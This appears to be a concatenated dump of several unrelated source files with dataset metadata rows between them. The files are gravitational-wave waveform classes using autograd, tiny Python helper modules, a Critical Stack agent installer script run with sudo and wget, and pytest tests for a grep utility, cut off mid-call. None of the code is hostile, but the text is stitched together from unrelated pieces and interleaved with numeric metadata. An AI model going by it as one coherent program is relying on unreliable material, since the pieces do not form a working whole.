self.delta_deriv = grad(utilities.calculate_delta)(self.symmratio)
self.beta1_deriv = []
self.beta0_deriv = []
self.alpha1_deriv = []
self.alpha0_deriv = []
for i in range(9):
self.beta1_deriv.append(grad(self.phase_cont_beta1,i)(self.A0,self.chirpm,self.symmratio,self.delta,self.phic,self.tc,self.chi_a,self.chi_s,self.phase_mod))
for i in range(10):
self.beta0_deriv.append(grad(self.phase_cont_beta0,i)(self.A0,self.chirpm,self.symmratio,self.delta,self.phic,self.tc,self.chi_a,self.chi_s,self.beta1,self.phase_mod))
for i in range(9):
self.alpha1_deriv.append(grad(self.phase_cont_alpha1,i)(self.chirpm,self.symmratio,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.beta0,self.beta1,self.phase_mod))
for i in range(10):
self.alpha0_deriv.append(grad(self.phase_cont_alpha0,i)(self.chirpm,self.symmratio,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.beta0,self.beta1,self.alpha1,self.phase_mod))
"""Populate array with variables for transformation from d/d(theta) to d/d(log(theta)) - begins with 0 because fisher matrix variables start at 1, not 0"""
self.log_factors = [0,self.A0,1,1,self.chirpm,self.symmratio,1,1,1]
"""Derivative Definitions - added phase_mod to derivatives"""
@primitive
def assign_beta1(self,A0,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod):
for j in [A0,chirpm,delta,symmratio,phic,tc,chi_a,chi_s,phase_mod]:
if isinstance(j,np.ndarray):
return np.ones(len(j))*self.beta1
return self.beta1
defvjp(assign_beta1,None,
lambda ans,self,A0,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod: lambda g: g*self.beta1_deriv[0],
lambda ans,self,A0,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod: lambda g: g*self.beta1_deriv[1],
lambda ans,self,A0,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod: lambda g: g*self.beta1_deriv[2],
lambda ans,self,A0,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod: lambda g: g*self.beta1_deriv[3],
lambda ans,self,A0,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod: lambda g: g*self.beta1_deriv[4],
lambda ans,self,A0,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod: lambda g: g*self.beta1_deriv[5],
lambda ans,self,A0,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod: lambda g: g*self.beta1_deriv[6],
lambda ans,self,A0,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod: lambda g: g*self.beta1_deriv[7],
lambda ans,self,A0,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod: lambda g: g*self.beta1_deriv[8])
@primitive
def assign_beta0(self,A0,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod):
for j in [A0,chirpm,delta,symmratio,phic,tc,chi_a,chi_s,beta1,phase_mod]:
if isinstance(j,np.ndarray):
return np.ones(len(j))*self.beta0
return self.beta0
defvjp(assign_beta0,None,
lambda ans,self,A0,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[0],
lambda ans,self,A0,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[1],
lambda ans,self,A0,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[2],
lambda ans,self,A0,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[3],
lambda ans,self,A0,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[4],
lambda ans,self,A0,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[5],
lambda ans,self,A0,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[6],
lambda ans,self,A0,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[7],
lambda ans,self,A0,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[8],
lambda ans,self,A0,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[9])
####################### Inaccurate ########################
#class dCS_IMRPhenomD(Modified_IMRPhenomD_Inspiral_Freq):
# def __init__(self, mass1, mass2,spin1,spin2, collision_time,
# collision_phase,Luminosity_Distance,phase_mod = 0,
# cosmo_model = cosmology.Planck15,NSflag = False,N_detectors = 1):
# super(dCS_IMRPhenomD,self).__init__(mass1, mass2,spin1,spin2, collision_time,
# collision_phase,Luminosity_Distance,phase_mod = phase_mod,bppe = -1,
# cosmo_model = cosmo_model,NSflag = NSflag,N_detectors = N_detectors)
# def phi_ins(self,f,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod):
# m = utilities.calculate_totalmass(chirpm,symmratio)
# return (IMRPhenomD.phi_ins(
# self,f,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase)
# + 16*np.pi*phase_mod * utilities.dCS_g(chirpm,symmratio,chi_s,chi_a)/m**4 * (np.pi * chirpm* f)**(self.bppe/3))
# def Dphi_ins(self,f,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod):
# m = utilities.calculate_totalmass(chirpm,symmratio)
# return (IMRPhenomD.Dphi_ins(
# self,f,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase)
# + 16*np.pi*phase_mod * utilities.dCS_g(chirpm,symmratio,chi_s,chi_a)/m**4 * (np.pi * chirpm)**(self.bppe/3)*(self.bppe/3)*f**(self.bppe/3 -1))
####################### Inaccurate ########################
#class dCS_IMRPhenomD_detector_frame(Modified_IMRPhenomD_Inspiral_Freq_detector_frame):
class dCS_IMRPhenomD_detector_frame(Modified_IMRPhenomD_Quadratic_Base_Inspiral_detector_frame):
def __init__(self, mass1, mass2,spin1,spin2, collision_time,
collision_phase,Luminosity_Distance,phase_mod = 0,
cosmo_model = cosmology.Planck15,NSflag = False,N_detectors = 1):
super(dCS_IMRPhenomD_detector_frame,self).__init__(mass1, mass2,spin1,spin2, collision_time,
collision_phase,Luminosity_Distance,phase_mod = phase_mod,bppe = -1,
cosmo_model = cosmo_model,NSflag = NSflag,N_detectors = N_detectors)
def phi_ins(self,f,A0,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod):
#def phi_ins(self,f,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod):
m = utilities.calculate_totalmass(chirpm,symmratio)
DL =(np.pi/30)**(1/2)*chirpm**2/A0 * (np.pi*chirpm)**(-7/6)
Z = utilities.Z_from_DL_interp(DL/mpc)
m_redshifted = m / (1+Z)
return (IMRPhenomD.phi_ins(
self,f,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase)
+ 16*np.pi*phase_mod * utilities.dCS_g(chirpm,symmratio,chi_s,chi_a)/m_redshifted**4 * (np.pi * chirpm* f)**(self.bppe/3))
def Dphi_ins(self,f,A0,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod):
#def Dphi_ins(self,f,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod):
m = utilities.calculate_totalmass(chirpm,symmratio)
DL =(np.pi/30)**(1/2)*chirpm**2/A0 * (np.pi*chirpm)**(-7/6)
Z = utilities.Z_from_DL_interp(DL/mpc)
m_redshifted = m / (1+Z)
return (IMRPhenomD.Dphi_ins(
self,f,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase)
+ 16*np.pi*phase_mod * utilities.dCS_g(chirpm,symmratio,chi_s,chi_a)/m_redshifted**4 * (np.pi * chirpm)**(self.bppe/3)*(self.bppe/3)*f**(self.bppe/3 -1))
#Phase_mod = alpha**2, as defined by arXiv:1603.08955v2
#class EdGB_IMRPhenomD_detector_frame(Modified_IMRPhenomD_Inspiral_Freq_detector_frame):
class EdGB_IMRPhenomD_detector_frame(Modified_IMRPhenomD_Quadratic_Base_Inspiral_detector_frame):
def __init__(self, mass1, mass2,spin1,spin2, collision_time,
collision_phase,Luminosity_Distance,phase_mod = 0,
cosmo_model = cosmology.Planck15,NSflag = False,N_detectors = 1):
super(EdGB_IMRPhenomD_detector_frame,self).__init__(mass1, mass2,spin1,spin2, collision_time,
collision_phase,Luminosity_Distance,phase_mod = phase_mod,bppe = -7,
cosmo_model = cosmo_model,NSflag = NSflag,N_detectors = N_detectors)
def phi_ins(self,f,A0,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod):
#def phi_ins(self,f,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod):
m = utilities.calculate_totalmass(chirpm,symmratio)
DL =(np.pi/30)**(1/2)*chirpm**2/A0 * (np.pi*chirpm)**(-7/6)
Z = utilities.Z_from_DL_interp(DL/mpc)
m_redshifted = m / (1+Z)
return (IMRPhenomD.phi_ins(
self,f,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase)
+ 16*np.pi*phase_mod/m_redshifted**4 * utilities.EdGB_g(chirpm,symmratio,chi_s,chi_a) * (np.pi * chirpm* f)**(self.bppe/3))
#def Dphi_ins(self,f,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod):
def Dphi_ins(self,f,A0,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod):
m = utilities.calculate_totalmass(chirpm,symmratio)
DL =(np.pi/30)**(1/2)*chirpm**2/A0 * (np.pi*chirpm)**(-7/6)
Z = utilities.Z_from_DL_interp(DL/mpc)
m_redshifted = m / (1+Z)
return (IMRPhenomD.Dphi_ins(
self,f,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase)
+ 16*np.pi*phase_mod/m_redshifted**4 * utilities.EdGB_g(chirpm,symmratio,chi_s,chi_a) * (np.pi * chirpm)**(self.bppe/3)*(self.bppe/3)*f**(self.bppe/3 -1))
| 64.014016
| 257
| 0.675964
| 20,562
| 132,445
| 4.158983
| 0.021156
| 0.026661
| 0.026194
| 0.029936
| 0.979489
| 0.973561
| 0.971047
| 0.966755
| 0.966065
| 0.963341
| 0
| 0.029886
| 0.180437
| 132,445
| 2,068
| 258
| 64.044971
| 0.757948
| 0.063981
| 0
| 0.847797
| 0
| 0
| 0.00009
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.066088
| false
| 0
| 0.016021
| 0.026702
| 0.154873
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b2f7b37e6bd0611c58171649df9f5b56c8deab53
| 153
|
py
|
Python
|
keyboard.py
|
san2488/nottty
|
868beaed14064ae4cf30c4f96dc5ebb56ad48180
|
[
"MIT"
] | null | null | null |
keyboard.py
|
san2488/nottty
|
868beaed14064ae4cf30c4f96dc5ebb56ad48180
|
[
"MIT"
] | null | null | null |
keyboard.py
|
san2488/nottty
|
868beaed14064ae4cf30c4f96dc5ebb56ad48180
|
[
"MIT"
] | null | null | null |
def getLetter():
return raw_input().upper()
def getMove():
return raw_input()
def getYesOrNo():
return raw_input().lower().startswith('y')
| 17
| 46
| 0.660131
| 19
| 153
| 5.157895
| 0.578947
| 0.27551
| 0.428571
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.169935
| 153
| 9
| 46
| 17
| 0.771654
| 0
| 0
| 0
| 0
| 0
| 0.006536
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| true
| 0
| 0
| 0.5
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 1
| 0
|
0
| 8
|
65128e3d907ce92e8ec138cc4b54393fb3a76704
| 182
|
py
|
Python
|
NiLBS/occupancy/__init__.py
|
joemarch010/NILBS
|
c6568818ec8acdb0fe4bd8d197278f0abb361d0b
|
[
"MIT"
] | 2
|
2021-04-01T07:55:11.000Z
|
2021-12-10T02:57:59.000Z
|
NiLBS/occupancy/__init__.py
|
joemarch010/NILBS
|
c6568818ec8acdb0fe4bd8d197278f0abb361d0b
|
[
"MIT"
] | null | null | null |
NiLBS/occupancy/__init__.py
|
joemarch010/NILBS
|
c6568818ec8acdb0fe4bd8d197278f0abb361d0b
|
[
"MIT"
] | null | null | null |
import NiLBS.occupancy.occupancy_function
import NiLBS.occupancy.occupancy_function_mesh
import NiLBS.occupancy.occupancy_function_rest_cached
import NiLBS.occupancy.winding_numbers
| 36.4
| 53
| 0.912088
| 23
| 182
| 6.913043
| 0.391304
| 0.27673
| 0.503145
| 0.54717
| 0.698113
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.043956
| 182
| 5
| 54
| 36.4
| 0.913793
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
651b7037c6f33f40c0cc109596825599a5e58f31
| 143
|
py
|
Python
|
tests/test_api.py
|
SimonHollands/crowdfactor3
|
efc4721e7884c23d96f8004d3e0447a2d24d932a
|
[
"MIT"
] | 2
|
2019-10-31T22:17:57.000Z
|
2021-09-19T20:11:25.000Z
|
tests/test_api.py
|
SimonHollands/crowdfactor3
|
efc4721e7884c23d96f8004d3e0447a2d24d932a
|
[
"MIT"
] | 6
|
2019-10-31T20:09:22.000Z
|
2022-02-10T01:05:29.000Z
|
tests/test_api.py
|
SimonHollands/crowdfactor3
|
efc4721e7884c23d96f8004d3e0447a2d24d932a
|
[
"MIT"
] | 1
|
2022-01-28T21:24:30.000Z
|
2022-01-28T21:24:30.000Z
|
import pytest
import urllib.request
def test_api():
urllib.request.urlopen('http://13.57.217.48/model/breakwater').read().decode('ASCII')
| 23.833333
| 89
| 0.734266
| 21
| 143
| 4.952381
| 0.857143
| 0.25
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.068702
| 0.083916
| 143
| 5
| 90
| 28.6
| 0.725191
| 0
| 0
| 0
| 0
| 0
| 0.286713
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| true
| 0
| 0.5
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
65425adc33584bb535a68566870439961c5edf37
| 2,429
|
py
|
Python
|
install/criticalStack.py
|
jamitupya/SweetSecurity3alpha
|
94f3bb1dee0e7eb4dcabef915e9a36a491526673
|
[
"Apache-2.0"
] | 792
|
2015-09-14T13:00:17.000Z
|
2022-03-28T03:22:42.000Z
|
install/criticalStack.py
|
jamitupya/SweetSecurity3alpha
|
94f3bb1dee0e7eb4dcabef915e9a36a491526673
|
[
"Apache-2.0"
] | 56
|
2016-02-29T19:58:28.000Z
|
2022-03-30T12:57:14.000Z
|
install/criticalStack.py
|
jamitupya/SweetSecurity3alpha
|
94f3bb1dee0e7eb4dcabef915e9a36a491526673
|
[
"Apache-2.0"
] | 227
|
2015-09-23T15:37:14.000Z
|
2022-03-01T05:21:34.000Z
|
import os, sys
def get_user_input(input_string):
if sys.version_info[0] > 2:
return input(input_string)
else:
return raw_input(input_string)
def install(csKey):
#Install Critical Stack
cpuArch=os.uname()[4]
print "Installing Critical Stack Agent"
print " Downloading Critical Stack Agent"
if cpuArch == 'x86':
os.popen('sudo wget http://intel.criticalstack.com/client/critical-stack-intel-i386.deb 2>&1').read()
if not os.path.isfile('critical-stack-intel-i386.deb'):
sys.exit('Error downloading critical stack agent')
print " Installing Critical Stack Agent"
os.popen('sudo dpkg -i critical-stack-intel-i386.deb').read()
print " Applying Critical Stack API Key"
os.popen('sudo -u critical-stack critical-stack-intel api %s' % csKey).read()
print " Cleaning Up Installation Files"
os.remove('critical-stack-intel-i386.deb')
elif cpuArch == 'x86_64':
os.popen('sudo wget http://intel.criticalstack.com/client/critical-stack-intel-amd64.deb 2>&1').read()
if not os.path.isfile('critical-stack-intel-amd64.deb'):
sys.exit('Error downloading critical stack agent')
print " Installing Critical Stack Agent"
os.popen('sudo dpkg -i critical-stack-intel-amd64.deb').read()
print " Applying Critical Stack API Key"
os.popen('sudo -u critical-stack critical-stack-intel api %s' % csKey).read()
print " Cleaning Up Installation Files"
os.remove('critical-stack-intel-amd64.deb')
else:
os.popen('sudo wget http://intel.criticalstack.com/client/critical-stack-intel-arm.deb 2>&1').read()
if not os.path.isfile('critical-stack-intel-arm.deb'):
sys.exit('Error downloading critical stack agent')
print " Installing Critical Stack Agent"
os.popen('sudo dpkg -i critical-stack-intel-arm.deb').read()
print " Applying Critical Stack API Key"
os.popen('sudo -u critical-stack critical-stack-intel api %s' % csKey).read()
print " Cleaning Up Installation Files"
os.remove('critical-stack-intel-arm.deb')
print " Configuring Bro to Restart on Critical Stack Feed Updates"
os.popen('sudo -u critical-stack critical-stack-intel config --set bro.path=/opt/nsm/bro').read()
os.popen('sudo -u critical-stack critical-stack-intel config --set bro.restart=true').read()
os.popen('sudo chown critical-stack /opt/nsm/bro/share/bro/site/local.bro').read()
os.popen('sudo -u critical-stack critical-stack-intel config --set bro.broctl.path=/opt/nsm/bro/bin/broctl').read()
| 50.604167
| 116
| 0.733224
| 373
| 2,429
| 4.753351
| 0.211796
| 0.278624
| 0.182741
| 0.040609
| 0.781162
| 0.7304
| 0.7304
| 0.7304
| 0.7304
| 0.7304
| 0
| 0.016409
| 0.121861
| 2,429
| 48
| 116
| 50.604167
| 0.814815
| 0.009057
| 0
| 0.4
| 0
| 0.133333
| 0.643124
| 0.148733
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.022222
| null | null | 0.266667
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
e8db959f424f60f85b1dfe11824a8bb509d6af56
| 44
|
py
|
Python
|
tests/primitive_pdks/sample_package/main.py
|
mabrains/ALIGN-public
|
9a6c14310de13df369a8340f465911b629f15a3f
|
[
"BSD-3-Clause"
] | 119
|
2019-05-14T18:44:34.000Z
|
2022-03-17T01:01:02.000Z
|
tests/primitive_pdks/sample_package/main.py
|
mabrains/ALIGN-public
|
9a6c14310de13df369a8340f465911b629f15a3f
|
[
"BSD-3-Clause"
] | 717
|
2019-04-03T15:36:35.000Z
|
2022-03-31T21:56:47.000Z
|
tests/primitive_pdks/sample_package/main.py
|
mabrains/ALIGN-public
|
9a6c14310de13df369a8340f465911b629f15a3f
|
[
"BSD-3-Clause"
] | 34
|
2019-04-01T21:21:27.000Z
|
2022-03-21T09:46:57.000Z
|
def return_from_package():
return True
| 11
| 26
| 0.727273
| 6
| 44
| 5
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.204545
| 44
| 3
| 27
| 14.666667
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| true
| 0
| 0
| 0.5
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 1
| 0
|
0
| 7
|
e8e824b8276251c64c79de174f36c95ed30a5b54
| 117
|
py
|
Python
|
torch_ac/algos/__init__.py
|
kebaek/minigrid
|
3808c1401ea7846febf88d0a2fb2aa39e4a4913f
|
[
"MIT"
] | 5
|
2021-09-29T18:53:37.000Z
|
2022-03-01T08:03:42.000Z
|
torch_ac/algos/__init__.py
|
kebaek/minigrid
|
3808c1401ea7846febf88d0a2fb2aa39e4a4913f
|
[
"MIT"
] | null | null | null |
torch_ac/algos/__init__.py
|
kebaek/minigrid
|
3808c1401ea7846febf88d0a2fb2aa39e4a4913f
|
[
"MIT"
] | null | null | null |
from torch_ac.algos.a2c import A2CAlgo
from torch_ac.algos.ppo import PPOAlgo
from torch_ac.algos.dqn import DQNAlgo
| 29.25
| 38
| 0.846154
| 21
| 117
| 4.571429
| 0.52381
| 0.28125
| 0.34375
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.019048
| 0.102564
| 117
| 3
| 39
| 39
| 0.895238
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
e8f0fda8178a6d5608e88100203cb6c5c2759f35
| 82
|
py
|
Python
|
IPython/external/pyparsing/__init__.py
|
dchichkov/ipython
|
8096bb8640ee7e7c5ebdf3f428fe69cd390e1cd4
|
[
"BSD-3-Clause-Clear"
] | 2
|
2015-04-21T12:12:43.000Z
|
2015-04-21T12:12:54.000Z
|
IPython/external/pyparsing/__init__.py
|
dchichkov/ipython
|
8096bb8640ee7e7c5ebdf3f428fe69cd390e1cd4
|
[
"BSD-3-Clause-Clear"
] | 3
|
2015-04-01T13:14:57.000Z
|
2015-05-26T16:01:37.000Z
|
IPython/external/pyparsing/__init__.py
|
dchichkov/ipython
|
8096bb8640ee7e7c5ebdf3f428fe69cd390e1cd4
|
[
"BSD-3-Clause-Clear"
] | 1
|
2015-05-17T14:14:26.000Z
|
2015-05-17T14:14:26.000Z
|
try:
from pyparsing import *
except ImportError:
from _pyparsing import *
| 16.4
| 28
| 0.719512
| 9
| 82
| 6.444444
| 0.666667
| 0.448276
| 0.655172
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.231707
| 82
| 4
| 29
| 20.5
| 0.920635
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.75
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
e8f68aa5b939d727bfd939dda9108862e9e881eb
| 7,213
|
py
|
Python
|
tests/test_grep_functionality.py
|
florianbegusch/simple_grep
|
62fd0f76383e2332c5308e7961ce6f585c2a8208
|
[
"BSD-2-Clause"
] | null | null | null |
tests/test_grep_functionality.py
|
florianbegusch/simple_grep
|
62fd0f76383e2332c5308e7961ce6f585c2a8208
|
[
"BSD-2-Clause"
] | 2
|
2020-06-19T20:18:12.000Z
|
2020-06-19T20:18:50.000Z
|
tests/test_grep_functionality.py
|
florianbegusch/simple_grep
|
62fd0f76383e2332c5308e7961ce6f585c2a8208
|
[
"BSD-2-Clause"
] | null | null | null |
# -*- coding: utf-8 -*-
from grep.grep import Searcher
from tests.helper_for_tests import *
def test_instantiating_searcher_class():
caller_dir = os.curdir
search_term = 'docopt'
specific_file = ''
is_recursive = False
is_abs_path = False
is_regex_pattern = False
is_search_line_by_line = True
is_from_stdin = False
searcher = Searcher(caller_dir, search_term, specific_file, is_recursive,
is_abs_path, is_regex_pattern, is_search_line_by_line,
is_from_stdin)
assert searcher.caller_dir == caller_dir
assert searcher.search_term == search_term
assert searcher.specific_file == specific_file
assert searcher.is_recursive == is_recursive
assert searcher.is_abs_path == is_abs_path
assert searcher.is_regex_pattern == is_regex_pattern
assert searcher.is_search_line_by_line == is_search_line_by_line
assert searcher.is_from_stdin == is_from_stdin
def test_run(with_f_write):
with_f_write.write('docopt')
with_f_write.seek(0)
caller_dir = os.path.dirname(with_f_write.name)
search_term = 'docopt'
is_abs_path = True
matched_files = Searcher.run(
Searcher(
caller_dir=caller_dir,
search_term=search_term,
specific_file='',
is_recursive=False,
is_abs_path=is_abs_path,
is_regex_pattern=False,
is_search_line_by_line=True,
is_from_stdin=False))
assert matched_files == [os.path.abspath(with_f_write.name)]
def test_search_f(with_f_write):
with_f_write.write('sdf\na\nrghsf')
with_f_write.seek(0)
search_term = 'a'
matched_file = Searcher.search_f(
Searcher(
caller_dir='',
search_term=search_term,
specific_file='',
is_recursive=False,
is_abs_path=False,
is_regex_pattern=False,
is_search_line_by_line=True,
is_from_stdin=False), with_f_write.name)
assert matched_file[with_f_write.name] == {2: 'a'}
def test_match_f_for_str(with_f_write):
with_f_write.write(
'sbiugz8gfzuftzdrdsrts5445tzzftfjguikhoizbtzctzztcuzoh\nsdf\na\n rghsf'
)
with_f_write.seek(0)
search_term = 'sdf'
is_search_line_by_line = False
matched_file = Searcher.match_f_for_str_wrapper(
Searcher(
caller_dir='',
search_term=search_term,
specific_file='',
is_recursive=False,
is_abs_path=False,
is_regex_pattern=False,
is_search_line_by_line=is_search_line_by_line,
is_from_stdin=False), with_f_write.name)
assert matched_file == {1: 'sdf'}
def test_match_f_for_pattern(with_f_write):
with_f_write.write(
'sbiugz8gfzuftzdrdsrts5445tzzftfjguikhoizbtzctzztcuzoh\nsdf\na\n rghsf'
)
with_f_write.seek(0)
search_term = 'sdf'
is_search_line_by_line = False
matched_file = Searcher.match_f_for_pattern_wrapper(
Searcher(
caller_dir='',
search_term=search_term,
specific_file='',
is_recursive=False,
is_abs_path=False,
is_regex_pattern=False,
is_search_line_by_line=is_search_line_by_line,
is_from_stdin=False), with_f_write.name)
assert matched_file == {1: 'sdf'}
def test_search_line_by_line_for_term(with_f_write):
with_f_write.write('sdf\na\nrghsfz')
with_f_write.seek(0)
search_term = 'a'
matched_lines = Searcher.search_line_by_line_for_term_wrapper(
Searcher(
caller_dir='',
search_term=search_term,
specific_file='',
is_recursive=False,
is_abs_path=False,
is_regex_pattern=False,
is_search_line_by_line=True,
is_from_stdin=False), with_f_write.name)
assert matched_lines[2] == 'a'
def test_search_line_by_line_for_regex(with_f_write):
with_f_write.write('sdf\na\nrghsfz')
with_f_write.seek(0)
search_term = '^[d-s]{1,}$'
matched_lines = Searcher.search_line_by_line_for_regex_wrapper(
Searcher(
caller_dir='',
search_term=search_term,
specific_file='',
is_recursive=False,
is_abs_path=False,
is_regex_pattern=False,
is_search_line_by_line=True,
is_from_stdin=False), with_f_write.name)
assert matched_lines[1] == 'sdf'
def test_match_f_for_pattern_with_binary_file(with_f_bwrite):
search_term = 'ä'
matched_file = Searcher.match_f_for_pattern_wrapper(
Searcher(
caller_dir='',
search_term=search_term,
specific_file='',
is_recursive=False,
is_abs_path=False,
is_regex_pattern=False,
is_search_line_by_line=False,
is_from_stdin=False), with_f_bwrite.name)
assert matched_file == {'file_matched': ''}
def test_match_f_for_str_with_binary_file(with_f_bwrite):
search_term = 'ä'
matched_file = Searcher.match_f_for_str_wrapper(
Searcher(
caller_dir='',
search_term=search_term,
specific_file='',
is_recursive=False,
is_abs_path=False,
is_regex_pattern=False,
is_search_line_by_line=False,
is_from_stdin=False), with_f_bwrite.name)
assert matched_file == {'file_matched': ''}
def test_search_line_by_line_for_regex_with_binary_file(with_f_bwrite):
search_term = 'ä'
matched_file = Searcher.search_line_by_line_for_regex_wrapper(
Searcher(
caller_dir='',
search_term=search_term,
specific_file='',
is_recursive=False,
is_abs_path=False,
is_regex_pattern=False,
is_search_line_by_line=False,
is_from_stdin=False), with_f_bwrite.name)
assert matched_file == {'file_matched': ''}
def test_search_line_by_line_for_term_with_binary_file(with_f_bwrite):
search_term = 'ä'
matched_file = Searcher.search_line_by_line_for_term_wrapper(
Searcher(
caller_dir='',
search_term=search_term,
specific_file='',
is_recursive=False,
